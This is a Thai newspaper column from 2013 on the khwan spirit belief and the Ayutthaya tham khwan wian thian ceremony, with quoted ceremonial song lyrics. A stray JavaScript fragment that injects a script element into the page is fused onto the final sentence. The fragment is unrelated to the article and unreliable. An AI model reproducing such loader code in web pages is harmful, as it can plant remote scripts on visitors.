มติชนรายวัน ฉบับประจำวันจันทร์ที่ 12 สิงหาคม 2556

 

           ขวัญ เป็นความเชื่อทางศาสนาผีของคนในอาเซียนอุษาคเนย์มาตั้งแต่ดึกดำบรรพ์ก่อนยุคบ้านเชียง

           ครั้นถึงยุคบ้านเชียง (ราว 2,500 ปีมาแล้ว) จึงเขียนลายขวัญเป็นเส้นวงๆคล้ายก้นหอยลงบนภาชนะที่เรียกหม้อบ้านเชียง

           ยุคอยุธยา ในราชสำนักมีพิธีทำขวัญเวียนเทียน กับเบิกบายสี (เป็นคำเขมร มาจาก บาย แปลว่า ข้าว กับ สี แปลว่า แม่หญิง รวมหมายถึง ข้าวขวัญของแม่หญิง ซึ่งยกย่องเป็นของศักดิ์สิทธิ์) ที่มีคติพราหมณ์กับพุทธมาเคลือบมากแล้ว

           เพลงประโคมในพิธีทำขวัญเวียนเทียน ใช้ทำนองนางนาค สัญลักษณ์บรรพชนซึ่งเป็นแม่หญิง (เจ้าของข้าวขวัญ)

           แล้วมีคำร้องเคล้าคลอด้วยวงมโหรี เป็นทำนองต่างๆ ตามลำดับ เช่น มอญแปลง, มหาชัย, มโนราโอด ดังนี้

           ร้องมอญแปลง

           ๏ เจ้าเอยเวียนเทียน             เวียนไปแต่ซ้ายมาขวา

           ทักษิณโดยตำรา                  อายุจำเริญยืนยง

           จะปราถนาสิ่งใด                  ให้ได้ดังใจประสงค์

           สวัสดีดำรง                         เจ้าจงเกษมศุขเอย

           ร้องมหาชัย

           ๏ เวียนเอยเวียนเทียน           เวียนไปให้ครบสามรอบ

           สิ่งสินประกอบ                     ทั้งช้างแลม้าข้าไท

           ส่วยช้างมาแต่เหนือ              ส่วยเรือมาแต่ข้างใต้

           สมบัติอย่ารู้ไร้                      ให้ไหลมาดังท่อธาร

           ๏ ให้เอยให้พร                     พรนั้นอย่าได้คลาดแคล้ว

           เงินทองกองแก้ว                  ทั้งส่วยสรรพพัฒนา

           อายุยืนจนเถ้า                     ถึงร้อยเศษเก้าพระวัสสา

           เป็นสุขทุกอิริยา                   โรคาอย่าได้มีเอย

           ร้องมโนราโอด

           ๏ เวียนเอยเวียนเทียน           ครั้นว่ามาดับเทียนแล้ว

           เบิกบายสีแก้ว                     สูงแล้วก็ได้สามชั้น

           พระอินทรพระพรหม             เอาร่มระย้ามากั้น

           บายสีสามชั้น                      ทำขวัญเจ้าร้อยชั่งเอย

           ทำนองนางนาค กับพิธีทำขวัญ เป็นพิธีกรรมสำคัญของอาเซียนอุษาคเนย์และของไทย

           แต่สถาบันการศึกษาไทยเกี่ยวกับดนตรีและพิธีกรรม ยังศึกษาเรื่องนี้ไม่มากนัก และที่ศึกษาบ้างก็ยังไม่รอบด้านd.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);